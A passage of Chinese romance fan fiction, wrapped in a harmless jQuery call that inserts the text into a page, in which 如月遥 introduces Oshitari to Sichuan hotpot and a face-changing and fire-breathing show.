$(''.inform'').remove(); $(''#content'').append('' 一口久违的乡愁。 热气腾腾的鸳鸯锅很快端上了桌,一半是翻滚着红亮牛油、漂浮着密密麻麻花椒辣椒的麻辣锅;另一半是醇厚鲜香的菌菇汤锅。 各种菜品流水般送上:鲜红的牛羊肉卷、翠绿的毛肚、黄喉、鸭肠、滑嫩的鸭血、Q弹的虾滑、各种菌菇蔬菜…… 小小的桌子被摆得满满当当。 忍足看着眼前这阵仗,饶是他见多识广、适应力强,也感到了一丝新奇和挑战。 他对火锅的了解仅限于概念,实战经验为零,像个好奇的学生,紧跟在如月遥这位“导师”身后,有样学样。 看着她熟练地调配蘸料,他也依葫芦画瓢。 看到她用筷子夹起一片薄如蝉翼的毛肚,在翻滚的麻辣锅里“七上八下”,迅速捞出,蘸料入口,吃得一脸满足,他也小心翼翼地尝试。 结果—— “嘶——!” 当那片裹满了红油和辣椒碎、吸饱了麻辣汤汁的毛肚滑入喉咙的瞬间,带着火焰的灼烧感猛地从舌尖蔓延到整个口腔,继而直冲天灵盖。 被辣得满脸通红,额角甚至冒出了细密的汗珠。 他下意识地张开嘴吸气,试图缓解那股燎原般的辛辣感,眼眸里蒙上了一层生理性的水光。 “噗……” 看着他这副狼狈的样子,如月遥忍不住轻笑出声。 拿起纸巾,自然地递了过去,语气含着笑意:“给。” 看他辣得厉害,她甚至微微倾身,伸出手指,自然地将他鼻梁上那副已经被热气熏得有些模糊的眼镜摘了下来。 “吃火锅还戴眼镜,”她调侃着,一丝不易察觉的亲昵,“不怕起雾糊一脸?” 眼镜被摘下,忍足那张轮廓分明的俊脸毫无遮挡地呈现在眼前。 少了镜片的阻隔,那双深邃如同海底宝石的眼眸显得更加清晰、更加迷人,睫毛长而浓密,鼻梁高挺,唇线优雅。 没了平日那种斯文禁欲的学者气质,反而多了几分成熟男人的深沉魅力和被辣得有点茫然的性感。 任由眼镜被她放在一边,没有半分不适。 看着如月遥面不改色地吃着麻辣锅里捞出的食物,甚至觉得那红油衬得她唇色更加诱人,由衷地感叹:“没想到大小姐这么能吃辣。” 如月遥优雅地捞起一片裹着辣椒面的嫩牛肉,放进嘴里,慢条斯理地咀嚼着,瞥了他一眼,带着点小得意。 “那是自然。大小姐的心思你猜不透的。” 语气傲娇又理所当然。 菜品继续下锅。 当一盘处理得极其干净、白白嫩嫩的猪脑花被端上来时,饶是忍足这位医学部高材生、见惯了人体器官的医生,也僵住了。 那柔嫩细腻、带着细微沟壑的白色组织,视觉冲击力实在有些过分。 看着如月遥面不改色地将那滑溜溜的脑花用漏勺盛起,放进翻滚的麻辣锅里,喉结不受控制地滑动了一下。 她并没有丝毫嘲笑或强迫的意思,只是用漏勺从菌菇锅里捞起一片鲜嫩的鱼片放进忍足碗里:“喏,这个不辣。” “每个人都有各自的喜好和耐受度。” “互相尊重。” 她自己也并非无所畏惧,比如她对鱼的处理就格外挑剔,刺稍多一点、腥味稍重一点,她就敬谢不敏。 就在这时,火锅店中央的表演区响起了铿锵的锣鼓点。 经典的川剧变脸表演开始了! 表演者身着华丽的戏服,脸谱色彩浓烈,随着激越的鼓点,身形矫健地腾挪翻跃。 就在观众目不暇接之际,唰!唰!唰! 几张截然不同的脸谱在瞬息之间神奇变换,引得满堂喝彩。 紧接着,是更加惊心动魄的喷火表演。 表演者口中含着易燃物,猛地吸气,然后用力一喷! 轰—— 炽热的火龙腾空而起,照亮了整个餐厅,灼热的气浪仿佛扑面而来。 忍足第一次如此近距离地观看这种极具视觉冲击力的传统技艺,他低声赞叹,为这古老东方的神秘力量所折服。 “Amazing……” 如月遥看着他那副大开眼界的模样,唇角弯起愉悦的弧度:“怎么样?下次可以直接去四川看,那边更地道。” “包你麻,包你辣,包你……巴适得板。” 她甚至模仿了一下带着方言口音的“巴适”,眼中笑意盎然。 忍足收回震撼的目光看向她,火锅蒸腾的热气模糊了她清冷的轮廓,给她增添了几分烟火气的柔和。 灯光下,她白皙的鼻尖因为火锅的辣意和热气而沁出细小的汗珠,晶莹剔透,唇瓣被辣得红润饱满,如同熟透的樱桃。 他的心,像是被那红油浸润过,又麻又烫。 他拿起桌上的冰镇酸梅汁,为她倒满一杯,推到她手边。 一字一句,清晰地承诺: “大小姐要带我去的地方,又多了一个。” “我会一一记着的。”